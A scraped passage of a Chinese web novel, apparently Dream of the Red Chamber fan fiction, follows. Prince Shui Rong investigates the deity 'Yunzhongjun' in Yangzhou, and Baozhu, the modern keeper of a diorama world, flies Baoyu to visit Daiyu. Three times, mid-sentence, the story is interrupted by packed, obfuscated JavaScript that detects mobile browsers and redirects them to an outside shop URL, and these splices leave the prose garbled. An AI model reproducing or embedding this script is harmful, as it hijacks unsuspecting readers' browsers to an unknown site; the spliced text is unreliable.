这些事情刘知府和林如海虽不知情,也大致能猜到几分。对于皇帝这次能派出一位郡王,他们心中还是很欢喜的。毕竟神仙已经不止一次的出现和救助扬州,他们心里踏实得很。 等众人上前拜过,水溶十分和气地扶起刘知府和林如海,略略宽慰几句,也不稍作休息,直接就要去看那当初神仙挡过洪水的遗址。 刘知府自然求之不得,便让守候着的官员们都散了,只留自己和林如海陪着钦差一行人。水溶等人都是骑马而来,刘知府和林如海自然也不乘轿,上马伴在水溶左右。 不多时,这一行人就到了运河边上,但洪水泛滥之日至今已经过了半月有余,加上河水不断冲刷,岸边早没了当日黑墙留下的痕迹。倒是那艘曾被宝珠提到岸上的大船还在,码头工人正如蚂蚁搬家般将船上的货物一点点小心地搬运下来,而船老板正坐在旁边的木箱上,看着船底破出的大洞愁眉苦脸。 “当时下官就是在这里看着仙人把这艘船打捞起来的,那势头简直如泰山压顶一般,我和如海兄初到河岸,不知躲避,还差点被压在下面。”刘知府将当时的情况说得绘声绘色,当提起那一刻的惊险,他胖乎乎的脸都还带着几分心有余悸。 水溶惊讶地看着这艘倾斜在岸上的大船,如今没了黑墙做支撑,它已经是完全倒在了地上,如一座小山一般挡在了城门前。他绕着大船转了大半圈,又亲自去问了几位当时在场的船工,终于对神仙之事深信不疑。 “若非仙人出手,这么一条大船如何能从河中移到岸上来。”水溶年轻英俊的脸上俱是震撼的神色,“仙人之能,果然令人咂舌。” “原本云中君是想要把这船舶送回运河中的,但不料这船只的底仓已经破损,放入水中不多时就噗噗地往下沉,吓得船老板和水工大呼小叫,云中君只好把船又捞了起来。”林如海捻着胡子笑道。 水溶正畅想着当时的情景,突然意识到一点,惊道,“云中君?”之前还说是一位不知姓名的神祇,怎么现在又变成了先秦传说中的云神? 刘知府和林如海对视一笑,然后拱手道,“王爷莫怪,下官等自知此事过于神奇,若不是先请王爷看了这些,许多内情未敢告知。” 水溶何等聪明,便笑道,“两位多虑了。你们是朝廷重臣,小王年轻,此次虽然有皇命在身,也是陛下厚爱太过之故,正该谨慎从事,岂敢妄下判断。” 水溶先吃了一颗定心丸,也不慌着去看别处了。刘知府便将他这一行人迎到了安排好的下榻之处。 看看面前大门上的“林府”二字,知府笑道,“不是下官不愿接待王爷,只是云中君昨日又放了许多神药到府衙内。神药体型巨大,需得医工们研磨成粉后方可使用。所以如今府衙里乱糟糟的,只好请王爷到如海兄的府上躲个清净。” 水溶听了倒也不觉被怠慢。林如海既是皇帝亲自放到江南盐政任上的人,又是勋贵出身,先祖与北静王府这一脉虽不算太亲厚,但多少也有几分交情。他心中实在也更看重和信任林如海一些。 刘知府其实也对此心知肚明,不过顺水推舟、说些场面话罢了。 等进了林府,随从们先拥着水溶去洗漱、换了衣裳。待他略作休息,这才去见等候在厅堂之中的林如海和刘知府。 “云中君之名究竟是如何来的?”水溶脸上带了几分好奇。 刘知府先道,“好叫王爷知道,这位神仙虽然在半月前救了扬州城,又几次送来了祛瘟疫的良方神药,但都并未留下名字,也无人能见到她的容貌,听闻她的声音。偶尔在地上显出字迹,也都是些不喜凡人参拜的话语。” “但昨日她突然在府衙降下法旨,自谓云中君,并告之将有有缘人来到扬州,让我等好好招待,不可怠慢。” “有缘人?”水溶的心突然砰砰急跳两下。“云中君可有说这位有缘人是谁?” 刘知府自然看出了水溶的急切,笑道,“这还是由如海兄来说吧。” 水溶一愣,把视线转向林如海。林如海神色莫名复杂,好似心中也有疑惑,又好似有些为难,随即他苦笑道,“说来也巧,云中君说的人正是下官的内侄,此次随王爷南下而来的荣国府公子贾宝玉。” “宝玉?!”水溶惊道。他一下子想起了宝玉那衔玉而生的传闻和平日表现出的聪慧灵秀,心里顿时信了几分。 “这次带宝玉到扬州来,不过是小王偶然兴起,没想到却是他的大机缘。只是不知云中君与宝玉有何渊源?” 刘知府笑道,“王爷有所不知,这位贾公子原是赤霞宫神瑛侍者,他那枚落草时带来的通灵宝玉则是女娲娘娘补天时遗下的一颗五彩石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423089|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此次也是随神瑛侍者下界历劫而来。云中君曾与神瑛侍者相识,因此嘱咐我等多加关照宝玉。” “那通灵宝玉我曾见过,当日就说是不寻常,原来是女娲娘娘的五彩石。”水溶面上一喜。“只是不知这赤霞宫见于何典,神瑛侍者又是何神职?” 见林如海和刘知府都摇头,水溶又说,“也是,仙界飘渺,我等凡人一无所知也是应该。可惜宝玉如今还在路上,等明天到扬州后,想必云中君愿意与他相见,小王也正好得见真仙一面。” “虽说是有旧谊,但云中君未必立刻得见宝玉。”林如海摇头道,“这位神仙自称常在三千世界中云游,偶尔投一眼过来少则间隔几日,多了……千百年怕也不止。” 水溶到底是个年轻人,听了便感慨道,“难怪传说中的神仙行踪难寻,三千世界,也不知道其他世界是何等模样?” 听了他这话,刘知府和林如海担心他起了求仙之心,忙来劝他。“王爷得今上和太上皇两代帝王青睐,日后必是要以贤王之名垂于青史的,何必艳羡这些神仙之事。” 见两个年长于他的同僚都来劝他,水溶忙收敛了那点向往之心,连连称谢。这之后,三人才说起水溶名义上来的差事——巡视扬州府的灾情。 刘知府对此胸有成竹,讲述的井井有条不说,还有不少切实的数字报给水溶。这次扬州府连日大雨引发洪水,但实际受灾的情况比水溶来时预料的要好上许多。一来洪水泛滥的第一日就有宝珠护住了扬州城,二来她得林如海恳请,后续送了知府防疫手册和不少药品,再加上知府确实是个实干的人才,这次扬州府的赈灾事宜居然进展得颇为顺利。 “云中君昨日夜里还帮忙疏通了扬州府各处的河道,将泛滥的洪水引归正途,如此奔逃到各县的难民便很快可回到家乡,重建家园了。”刘知府回忆起昨天云中君的话,又想起今天陆续报上来的喜讯,脸上俱是欢喜。 “真是叨天之幸啊!”水溶这次虽然口中不说,但心中对云中君的看法愈发高山仰止。 此时在林府的另一处,也有人正说着云中君的名字。林府老管家看着台阶下挨挨挤挤站着的孩子们,对身边的中年汉子问道。“这就是那几个孩子?” “就是他们。”汉子笑道,“小的刚刚从山上把他们接了下来,洗过澡,换了一身干净衣服,如今看着倒像是好人家的孩子了。” 见孩子们的神情中还带着些不安和畏惧,老管家笑道,“你们不要害怕,是云中君让我家老爷照顾你们的。这里是林府,以后你们就住在这里,会有人教你们识字念书、也教授你们一门手艺,这样你们长大后也能养活自己了。” “云中君?”孩子们有些茫然。 老管家解释道,“云中君就是之前救过你们性命的那位神仙。” “原来好心神仙的名字是云中君。”这下孩子们隐隐的紧张全部都舒缓了,他们看向面前这位陌生的老人,眼中也开始升出了些信任。 好心神仙认识的人,肯定也是好人! 37.第 37 章 孩子们高高兴兴地被带到了角门边的一处厢房。房里是一张大通铺,上面的被褥虽然材质普通,但都是新的。一个孩子脱鞋跳上床,在上面滚了两下,突然感叹道,“还是好心神仙给我们的床更舒服,像是云朵一样。” 又有一个孩子小声问,“我们是要在这里当下人吗?” “那不是挺好的嘛,我看这家林府老爷是个当官的,我们以后就是官老爷家的下人,那日子可比当乞儿好过多了。” “可是我们在外面自由自在的,还有好心神仙照顾我们。” “神仙又不会照顾我们一辈子。” 孩子们都在窃窃私语,最终还是那个最大的孩子结束了他们的猜测。“别瞎想了,我们又没有签卖身契、按手指印,林家老爷只是受神仙的托付,暂时照顾我们罢了。” “是这样啊……”孩子们发出不知道是安心还是遗憾的叹息声。 “我们可是被神仙关心过的,要有点出息。刚才老管家不是说要教我们识字学手艺嘛,我们就好好学,争取以后也当个掌柜什么的。” “要是能读书,说不定还能当官呢!” “对对对!” 孩子们都兴奋地讨论起来。 “来了这么多孩子,这下府里又热闹了。”厢房隔壁就是老管家一家的小院。老管家一家四口,儿子儿媳前几个月跟着黛玉上京去了,现在家里只有老管家两口子。听着隔壁孩子们叽叽喳喳的声音,老伴也不觉得烦,一边捻线、一边和丈夫说话。 老管家却在想着这段时间发生的事,虽然老爷没有明说,但他早就猜到老爷、姑娘和那位叫做“云中君”的神仙关系并不简单。比如那枚姑娘带回来的“神药”,比如老爷突然转危为安的病情…… 可惜这些话他谁都不能说,连对自己的妻儿都要保守秘密。这辈子只怕是要把这个秘密一直带到坟墓里了。 不过,云中君究竟是一个怎么样的神仙呢。也不知道我这老头子未来有没有幸见这位神仙一面么? ---- 另一个世界,被许多人期盼着想要见一面的神仙却一点也不体面。 “啊呀呀,痛痛痛!”一觉起来感觉胳膊痛、手也痛的宝珠在床上哀嚎。幸亏没人见到她这副可怜兮兮的惨样,要不然云中君的形象都要被她带毁了。 也是宝珠最近太懒了。以往在学校时好歹还会打扫一下宿舍、平时也会和同学们打个篮球、跳个舞什么的,但毕业后立志当咸鱼的她就把这些忘记了,也就晚上还剩了慢跑半小时的习惯。而这样的结果就是昨天劳动两小时,现在胳膊酸痛好几天。 不过宝珠心里也并不后悔。她昨天可是认认真真地将所能见到的水利河道都卖力清理了一遍,成果丰硕。 她现在能影响到的江南地域,比原本单纯的一座扬州城足足大了几十倍。可地域变广阔了,箱子所能一次呈现的最大范围依然停留在一座城池的大小。 想要把整条水道清理干净,她只能从最上游开始,不断地拖动着地图,一点点地清理到下游。那些相对而言较为笔直宽阔的河道还好,但遇上曲曲折折的拐弯以及大大小小的支流,宝珠就要打起十二分精神来小心对待。否则一不小心就捅破了这里的堤坝,堵住了那里的河沟。 这一晚上,作为代价她还报废了家里的两个漏勺、一个锅铲和一双炸东西的长筷子。想到了这些,宝珠又想起了厨房,然后思路顺理成章地转到了张姨身上。“不好,今天张姨要上门,要是她看到外面的痕迹又要念叨我了。” 宝珠匆忙来到卧室外面,果然餐厅一片狼藉。摆在餐桌上的造景箱还好,它似乎有自动恢复的功能,昨天滴在玻璃上的泥水现在都不见了。但地板上也有滴落的泥水,而且水迹这时已经干涸、遗留的污渍更加难以打扫。 旁边的垃圾桶里则装了大半桶清理出来的石头、杂物和淤泥。别看这些石头小的只有指甲盖大,大的不过鹅卵石,但在红楼的世界里,他们就是能砸伤人,甚至能堵住河道的巨石。 那几个脏兮兮的勺子、筷子也被扔在一旁,可谓为了主人又流汗又流泪。 昨天夜里,宝珠曾经期盼自己真的能有传说中仙人们的神通,念几句咒语就能够移山倒海、海晏河清。而到了这个时候,她的愿望已经下沉到了有哈利波特的“清理一新”和“恢复如初”也行! 但现实世界的神灵们——如果有的话,显然不像宝珠对待红楼世界的小人们那么温柔贴心,她只能依然拖着酸痛的胳膊拖地、擦桌子、倒垃圾,还去小区超市里买来了新的厨具,并在超市老板的眼里坐实了厨房杀手的形象。 紧赶慢赶,终于在张姨上门之前处理好了前一天留下的痕迹,宝珠倒在沙发上双目失神,一动不动。 苍天啊,大地啊!谁家神仙熬夜干完体力活,第二天还要打扫现场、清理痕迹啊?!我明明是做好事,又不是杀人放火! 捏捏胳膊的肌肉,那酸爽的滋味让宝珠更委屈了。 “宝珠,你刚才拖地了?”张姨一进门就问。 “啊?”宝珠从沙发上弹了起来,怎么自己的努力成果一眼就被张姨看穿了。“张姨,你怎么发现的?” “你这孩子就没拖过几次地。拖把拖过后,是要用清水洗过后再拖一次的。你看地上都是拖把的印子。还有这里、这里,也没有拖干净。” 听着张姨的话,宝珠微微红了脸,好在大部分痕迹都被清理了,张姨只以为她刚才打翻了什么,没有过多怀疑。她把餐厅重新清扫了一遍,宝珠这次认认真真地观察,发现张姨根本不是拖了两次,而是足足拖了三次。 “张姨真是辛苦了。” “这算什么。以前最苦的时候,我要去工地上搬水泥呢。现在这点家务活啊轻松得不得了。” 昨天劳累一个晚上,早上又没好好休息,吃饭的时候,宝珠差点连端碗的力气都没有了。面对张姨怀疑关切的目光,宝珠只好赶紧刨饭,“今天的菜真好吃,香得我手都软了。” 张姨被她逗笑,也就没问她的手是怎么回事。吃完饭,张姨让宝珠躺在沙发上,“我给你捏捏胳膊吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463563|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要不你到了明天还要疼。” 宝珠嘿嘿一笑,不好意思地躺下,然后张姨拿起了她的一只胳膊。 “啊啊啊啊~”宝珠立刻惨叫出来。“张姨,停手,痛痛痛~~” 宝珠扯着嗓子鬼吼鬼叫,张姨面不改色地听着她喊,那双带着薄茧的大手依然沉稳有力地在宝珠和面条一样软绵绵的胳膊肉上活动。“别怕,痛点好,现在痛了待会就舒服了。” “这个张姨有经验。以前你刘叔还在的时候,我就是这样给他捏的。等到我进工地后,就轮到你二姐就是这样给我捏了。” 一边是轻描淡写的叙述,一边是杀猪一般的惨叫。 “啊~~张姨,轻点,轻点~~”宝珠自觉羞耻,但依然忍不住要叫出声。但她的哀求能换来张姨眼中的怜惜,却没能换来她手下的温柔。 等到张姨走后,宝珠又如死鱼般在沙发上躺了许久。 呜呜呜~~我这次为了箱子里的小人们牺牲太大了。 不过嘛…… 宝珠活动了一下胳膊,之前的酸痛感明显变得轻微多了。张姨的按摩真的有用唉! 尽管如此,宝珠还是调整了造景箱的时间,把晚上的链接延到了两天后。果然升级出来的功能没有无用的,以前只是没有遇到合适的场合而已。 充分休息后,恢复了精气神的宝珠这才重新启动了链接。 这时红楼世界那边的时间已经过了六天,水溶为了能与“云中君”见上一面,一直将宝玉带在身边。 “宝玉,看到这个,你有想起过什么吗?”水溶指着面前粉红色的奇怪小屋,笑着对宝玉道。 这正是之前宝珠送进红楼世界,为乞儿们遮风挡雨的小屋存钱罐。如今竟是被水溶的人费时费力地从那处山林里搬了出来,运到了林府的花园中。 宝玉如今的演技也渐渐磨练出来了。听到水溶的问话,他先是绕着小屋转了一圈,似乎在想着什么,然后才在众人关切的目光下遗憾地摇头。“看着有些眼熟,但实在又什么都想不起来。” 说完,他还无师自通地略带着茶味问道,“我真的是那什么神瑛侍者吗,不会是哪里弄错了吧?” 看少年人脸上带了些忐忑,水溶忙宽慰他,“不要忧心,你如今下凡历劫,什么都想不起来也是正常的。”他又摸摸小屋的墙壁,“这小屋也真是奇怪,不似树木也不似砖石,而且一体成形,不见绳钉。” 林如海在一旁也说道,“当日云中君降下的黑墙也是如此,见之浑然一体,敲之铿锵有声。” “可惜小王无缘,未曾一见。唉,也不知道云中君何日能来?”水溶不禁遥想那位云中君的风采。 他的话音刚落,就见一旁宝玉望着天空露出诧异的神色。 水溶心中一动,忙跟着抬头,却只见蔚蓝地天空中白云翩然飘浮,并不见什么异常。 “宝……”就在他要开口询问的时候,面前的小屋突然浮起,然后消失不见。 云中君来了! 在场的每个人都面露惊喜。 38.第 38 章 “云中君!” “仙人!” 当真切的神迹突然出现在眼前,第一次见到这个场景的京城官员们再也没有了往常的矜持,齐齐发出了惊呼。他们慌忙昂首看向天空,但无论他们如何极目眺望,也依然无法在这万里的白云晴空中找到一丝一毫仙人的踪迹。 一切平静如初,仿佛他们刚才见到的不过是短短一瞬间的幻觉。 看着那些高高在上的京官们终于面露惊讶,在场自谓“见多识广”的扬州人都不免有些隐隐的骄傲和得意。这点场面算什么,当初云中君展示的手段更厉害呢! 身边有林如海的提醒,身为钦差的水溶倒还算镇定,他整整衣袍,上前行了两步,肃容朝天空行礼,“小王水溶拜见云中君,望仙尊垂怜相见。” 听水溶出声,四周的窃窃私语和嘈杂声很快消失了,大家都期待地看着天空。但等了一息,见什么都没有发生,寂静无声又变成了混杂着失望的躁动。虽然在出京时没有多少人把扬州的奏报当真,但在见识了神迹之后,他们的态度早已发生了翻天覆地的改变。 水溶见天空中并无刘知府所说的纸条传下,明白云中君无意和他们交流,心中大为失落。而且比起其他人,他此时心中还有一点隐隐的不安。 云中君突然将小屋收回,可是对他有所不满? 小屋本是神仙赐给那些乞儿的,虽然乞儿们现由林如海照顾,屋子已空,但他未得仙人允许擅自把小屋从山上挪下来,这……确实是失了谨慎…… 宝珠可不知道下面的水溶正在脑补着什么,她只是单纯地觉得存钱罐小屋已经没了作用,而且这个卡哇伊的粉红色和清雅秀美的林府庭院实在不搭配,所以随手收回而已。 按照之前说好的安排,宝珠给宝玉丢了一个眼神。 于是正当在场众人各怀心事的时候,一个清朗的少年声打破了沉默,“宝玉拜见仙子姐姐。” 仙子姐姐? 姐姐? 谁,是谁这么大胆敢如此和神仙说话?! 太放肆了!! 这一声也不知道让多少人心中狂怒,无数目光瞬间集中在那个胆敢对神仙不敬的狂徒身上。但那个出声的少年根本没有注意自己成了视线的中心,他正昂首向天,目光定定地看着天空某个方向,似乎正好某个众人都看不见的存在交谈。 一道七彩的光晕不知何时在少年身前亮起,在他和天际间搭起一座似幻似真的绚丽彩桥。少年的衣衫无风轻扬,本就俊美的脸庞在光晕的映衬下越发显得神采飞扬,宛如神仙中人。 刚刚还恼怒着的众人看着这样的少年,那怒气顿时就如同暖阳下的雪花,无声消散了。然后他们立刻又推翻了刚才的判断。 不对,他不是宛如神仙中人。 他本就是神仙中人。 赤瑕宫、神瑛侍者。 这两个陌生的词语再一次地在众人心中浮现,然后被深刻铭记。 大家都屏住呼吸、紧张地望着这位荣国府的小公子,云中君亲口认定的神仙转世。却看见宝玉做着倾听状,好一会才说道,“仙子姐姐这样说,我自然是信的。可我全无前世的记忆,也不知道我与仙子姐姐过往是什么交情,倒是要让仙子姐姐失望了。” 啊,这,虽然说的都是实话,但也太实诚太过了! 这不是要和神仙撇清关系吗? 听着宝玉那带着孩子气的话语,几位责任心强的官员恨不得扑上前去捂住这孩子的嘴、代他发言。但这显然是不可能的,这种情况下众人甚至连出声提醒都不敢,只能心里干着急。 水溶身边得力的幕僚已经开始自责,他早该考虑到这样的情况,没能提前教导宝玉是他的错。若是因此影响了王爷的公务,他就罪过大了。 虽然在知晓内情的林如海看来,宝玉的演技还有些生涩,有时候表情略微做得过火。但其他人——包括水溶和刘知府在内——都被“神仙”和“神仙转世”这两个光环迷了眼,看待宝玉时自觉加上了厚厚的滤镜,居然一点也没有怀疑。 众人眼见着宝玉再次露出了认真倾听的表情,然后少年脸上的陌生和紧张渐渐减少,对着天空露出了惊喜的笑容。“仙子姐姐,你说的是真的吗?宝玉当然愿意。” 愿意什么?! 刚刚云中君和小公子说了什么?! 听不到神仙说话,只能凭宝玉的回应来猜测对话内容的众人眼中冒出了无数问号。 宝玉向前一步,然后众人就眼睁睁地看着少年的脚步稳稳地踩在了离地面半尺的悬空处。接下来,少年的身形缓缓升起,朝着九霄高空而去。 “啊!”人群中终于有人按耐不住发出了惊呼。 小公子飞起来了! 这下连林如海都瞪大了眼睛,惊愕地看着眼前的情景。 “宝玉!”一直安静的水溶也忍不住喊出声。 少年闻声回头,笑着和他挥挥手。但他越升越高,身影越来越小,当离地十余丈之后便突然消失,再也不见了踪影。然后那道彩虹桥也消失了。 “云中君把小公子接回天上了!!” “怎么可能,贾公子不是神仙转世历劫吗,哪有这么快就回去的。” 众人一时都窃窃私语起来。 水溶、刘知府和林如海面面相窥。站在人群最外面的李贵张大着嘴,连连念叨,“糟了,糟了,要是宝二爷不回来,老太太、太太肯定要揭了我的皮!” 高空之上,宝珠把宝玉托在手心,笑着问他。“飞在天上的感觉怎么样?” 宝玉小心翼翼地抱住宝珠的一根手指头,从指缝间往下望。地上的房子和人都变得小巧可爱起来。宝玉觉得自己的腿有点软绵绵的,但依然笑道,“好吓人!好有趣!” “你不怕就好。”宝珠笑眯眯地扔下画着彩虹的透明塑料纸,然后切换了箱子里的画面。 宝玉只感觉地上的景色瞬间变化,眨眼间就从秀丽的江南水乡换到了雄伟的北国都城。虽然早就知道宝珠姐姐可以瞬息万里,但这样的变化对他来说还是过于刺激了,少年甚至有些头晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598805|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目眩。 “这么快就到京城了?” “那当然,那边就让他们等着吧,我们先和黛玉说会话。” 黛玉早就在窗前等着他们了。可惜宝玉在天上的身形实在太小,宝珠又不能把他放太低,以免被其他人看见,所以黛玉瞪大了眼睛也只在宝珠的手掌间看到一个模糊的身影。声音更是听不清,依旧借助了手机才能说话。 黛玉先问宝玉有没有摸到天上的云彩,手感是绵柔的,还是空虚的,温度是凉的,是暖的。 原来还可以这样吗?宝玉遗憾地连连摇头,表示自己并没有摸到云彩。 宝珠替他解释,“云彩太高,他摸不着的。”她估摸着自己出现在红楼世界时,离地面的距离最高也就几百米,这点高度离摸云彩还远着呢。 听到宝珠的话,黛玉有些失望。饶是如此,她对宝玉的待遇依然很是羡慕。“我也想在宝珠姐姐的手里看世界。我想去看看高山、看看大海,我还想去见见严教士所说的外国地界。” 其实在宝珠手心啥也没看到的宝玉立刻安慰妹妹,“妹妹不要急,等我从扬州回来,你就是绛珠仙子了。到时候,宝珠姐姐一定能带你也上天看看的。” 黛玉才不理宝玉,依旧拿一双水汪汪的眼睛看着宝珠。宝珠哪里经受得了黛玉小可爱的请求,连连保证下次一定,黛玉这才高兴了。她又告诉宝珠和宝玉一个新消息,那就是扬州的新急报已经送到京城了。这件事在京城里闹得沸沸扬扬的。不说贾政被圣上连着召见了几次,连史老太君和王夫人昨天也被皇后借着元春的名义见了一次,问了关于宝玉的许多事。 “啊,以后不会变得很麻烦吧。”宝玉有些犹豫。 “这世上哪有万全的事情。”黛玉倒是看得清楚,“我们借了宝珠姐姐的仙人身份,自然是有利有弊的,总归只要是好处多就可以了。” 宝珠也打量着荣国府的变化。虽然仙人转世在道理上也是一个好消息,但不同于元春封妃时候全府上下的喜气洋洋,这时荣国府中的气氛却显得有些微妙。尤其是史老太君那里,她正靠着塌上沉思,鸳鸯正小心地为她按着头。 贾政独自坐在书房里,以往簇拥在他身边的幕僚清客不知为何一个也不见。他看着书架上满满的儒家经典,但目光却空洞,也不知道是在想些什么。 王夫人那边倒是纯粹的喜悦。薛姨妈和许久不见的宝钗都在王夫人房中和她说话,两姐妹有说有笑地聊着宝玉小时候的趣事,那块已经被证明是补天遗石的通灵宝玉也被拿出来说了又说。 宝珠打量了荣国府一圈,估摸着扬州那边已经开始心急了,就停止了宝玉黛玉的谈话。“记得回去后该怎么说吗?” 宝玉点头保证。 “那就好。不过你也不用紧张,有了刚才的事,你说什么他们都不会怀疑了。”宝珠宽慰少年。 等两个孩子挥手告别,宝珠才把宝玉送回了扬州。果然,眼见少年再次随着彩虹出现在空中,扬州的人都欣喜地迎向少年,每个人眼中都是满满的热切。